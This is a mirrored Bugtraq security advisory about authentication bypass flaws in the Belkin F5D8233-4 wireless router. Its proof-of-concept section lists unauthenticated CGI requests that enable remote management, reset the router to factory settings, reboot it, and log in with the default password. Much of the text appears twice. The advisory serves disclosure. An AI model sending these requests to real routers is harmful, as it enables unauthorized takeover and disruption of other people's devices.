Belkin F5D8233-4 Wireless N Router Multiple Scripts Authentication Bypass Vulnerabilities
BID:32275
Info
Belkin F5D8233-4 Wireless N Router Multiple Scripts Authentication Bypass Vulnerabilities
| Bugtraq ID: | 32275 |
| Class: | Access Validation Error |
| CVE: | |
| Remote: | Yes |
| Local: | No |
| Published: | Nov 12 2008 12:00AM |
| Updated: | Nov 14 2008 04:14PM |
| Credit: | Craig Heffner, Derek Yap from SourceSec |
| Vulnerable: |
Belkin F5D8233-4v3 0 |
| Not Vulnerable: | |
Discussion
Belkin F5D8233-4 Wireless N Router Multiple Scripts Authentication Bypass Vulnerabilities
The Belkin F5D8233-4 Wireless N Router is prone to multiple vulnerabilities because of a lack of authentication when users access specific administration scripts.
Attackers can exploit these issues to perform administrative functions without authorization.
Belkin F5D8233-4 is vulnerable; other devices may also be affected.
The Belkin F5D8233-4 Wireless N Router is prone to multiple vulnerabilities because of a lack of authentication when users access specific administration scripts.
Attackers can exploit these issues to perform administrative functions without authorization.
Belkin F5D8233-4 is vulnerable; other devices may also be affected.
Exploit / POC
Belkin F5D8233-4 Wireless N Router Multiple Scripts Authentication Bypass Vulnerabilities
Attackers can exploit these issues using readily available networking utilities.
The following example scripts are available:
Enable remote management on port 8080: /cgi-bin/system_setting.exe?remote_mgmt_enabled=1&remote_mgmt_port=8080
Restore the router's default factory settings: /cgi-bin/restore.exe
Reboot the router: /cgi-bin/restart.exe
Log in with the default password": /cgi-bin/login.exe?pws=
Attackers can exploit these issues using readily available networking utilities.
The following example scripts are available:
Enable remote management on port 8080: /cgi-bin/system_setting.exe?remote_mgmt_enabled=1&remote_mgmt_port=8080
Restore the router's default factory settings: /cgi-bin/restore.exe
Reboot the router: /cgi-bin/restart.exe
Log in with the default password": /cgi-bin/login.exe?pws=
Solution / Fix
Belkin F5D8233-4 Wireless N Router Multiple Scripts Authentication Bypass Vulnerabilities
Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].
Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].
References
Belkin F5D8233-4 Wireless N Router Multiple Scripts Authentication Bypass Vulnerabilities
References:
References:
- Belkin Homepage (Belkin)
- Hacking SOHO Routers (SourceSec)